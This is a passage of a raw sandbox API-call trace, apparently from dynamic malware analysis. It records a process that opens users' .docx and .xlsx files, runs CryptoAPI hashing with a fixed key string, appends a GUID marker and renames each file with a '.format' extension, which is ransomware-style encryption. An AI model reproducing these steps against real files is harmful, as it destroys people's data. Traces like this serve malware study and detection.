lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.248] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xe4bf, lpOverlapped=0x0) returned 1 [0067.248] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.248] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.248] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.248] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.249] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.249] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.249] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.249] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.249] GetLastError () returned 0x0 [0067.249] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.249] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.250] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xe4bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.250] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.250] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.250] CloseHandle (hObject=0x5c8) returned 1 [0067.251] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xCUGudyvE2cZEXnf.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xcugudyve2czexnf.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xCUGudyvE2cZEXnf.docx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xcugudyve2czexnf.docx.format")) returned 1 [0067.252] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294de6d0, ftCreationTime.dwHighDateTime=0x1d52963, ftLastAccessTime.dwLowDateTime=0x4c9e97a0, ftLastAccessTime.dwHighDateTime=0x1d53d69, ftLastWriteTime.dwLowDateTime=0x4c9e97a0, ftLastWriteTime.dwHighDateTime=0x1d53d69, nFileSizeHigh=0x0, nFileSizeLow=0xb75c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yB1sPauX7FL.docx", cAlternateFileName="YB1SPA~1.DOC")) returned 1 [0067.252] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yB1sPauX7FL.docx") returned=".docx" [0067.252] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yB1sPauX7FL.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yb1spaux7fl.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.252] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=46940) returned 1 [0067.252] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.255] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xb736, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.255] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.255] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xb75c, lpOverlapped=0x0) returned 1 [0067.256] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.256] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.256] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.256] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.256] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.256] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.256] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.256] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.256] GetLastError () returned 0x0 [0067.256] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.257] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.257] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xb75c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.257] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.257] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.257] CloseHandle (hObject=0x5c8) returned 1 [0067.258] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yB1sPauX7FL.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yb1spaux7fl.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yB1sPauX7FL.docx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yb1spaux7fl.docx.format")) returned 1 [0067.259] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ff0450, ftCreationTime.dwHighDateTime=0x1d4cf47, ftLastAccessTime.dwLowDateTime=0xc35fbe10, ftLastAccessTime.dwHighDateTime=0x1d4d562, ftLastWriteTime.dwLowDateTime=0xc35fbe10, ftLastWriteTime.dwHighDateTime=0x1d4d562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yiub", cAlternateFileName="")) returned 1 [0067.259] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d513b0, ftCreationTime.dwHighDateTime=0x1d54303, ftLastAccessTime.dwLowDateTime=0xcdfca240, ftLastAccessTime.dwHighDateTime=0x1d4e613, ftLastWriteTime.dwLowDateTime=0xcdfca240, ftLastWriteTime.dwHighDateTime=0x1d4e613, nFileSizeHigh=0x0, nFileSizeLow=0x405c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yjqyP77NFy.xlsx", cAlternateFileName="YJQYP7~1.XLS")) returned 1 [0067.259] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yjqyP77NFy.xlsx") returned=".xlsx" [0067.259] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yjqyP77NFy.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yjqyp77nfy.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.259] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=16476) returned 1 [0067.260] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.262] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x4036, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.262] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.263] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x405c, lpOverlapped=0x0) returned 1 [0067.263] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.263] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.263] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.263] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.264] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.264] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.264] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.264] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.264] GetLastError () returned 0x0 [0067.264] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.264] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.264] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x405c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.264] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.264] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.264] CloseHandle (hObject=0x5c8) returned 1 [0067.265] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yjqyP77NFy.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yjqyp77nfy.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yjqyP77NFy.xlsx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yjqyp77nfy.xlsx.format")) returned 1 [0067.266] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d513b0, ftCreationTime.dwHighDateTime=0x1d54303, ftLastAccessTime.dwLowDateTime=0xcdfca240, ftLastAccessTime.dwHighDateTime=0x1d4e613, ftLastWriteTime.dwLowDateTime=0xcdfca240, ftLastWriteTime.dwHighDateTime=0x1d4e613, nFileSizeHigh=0x0, nFileSizeLow=0x405c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yjqyP77NFy.xlsx", cAlternateFileName="YJQYP7~1.XLS")) returned 0 [0067.266] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.266] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.266] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.266] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0067.266] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.266] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.267] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.267] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.267] PathFindFileNameW (pszPath="") returned="" [0067.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.267] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.267] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.267] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.267] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned=".ini" [0067.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.267] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0067.267] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d270 | out: hHeap=0x5d0000) returned 1 [0067.267] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d270 [0067.267] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.267] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.267] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.268] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.268] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.269] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.269] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ccc0 | out: hHeap=0x5d0000) returned 1 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0067.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.270] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 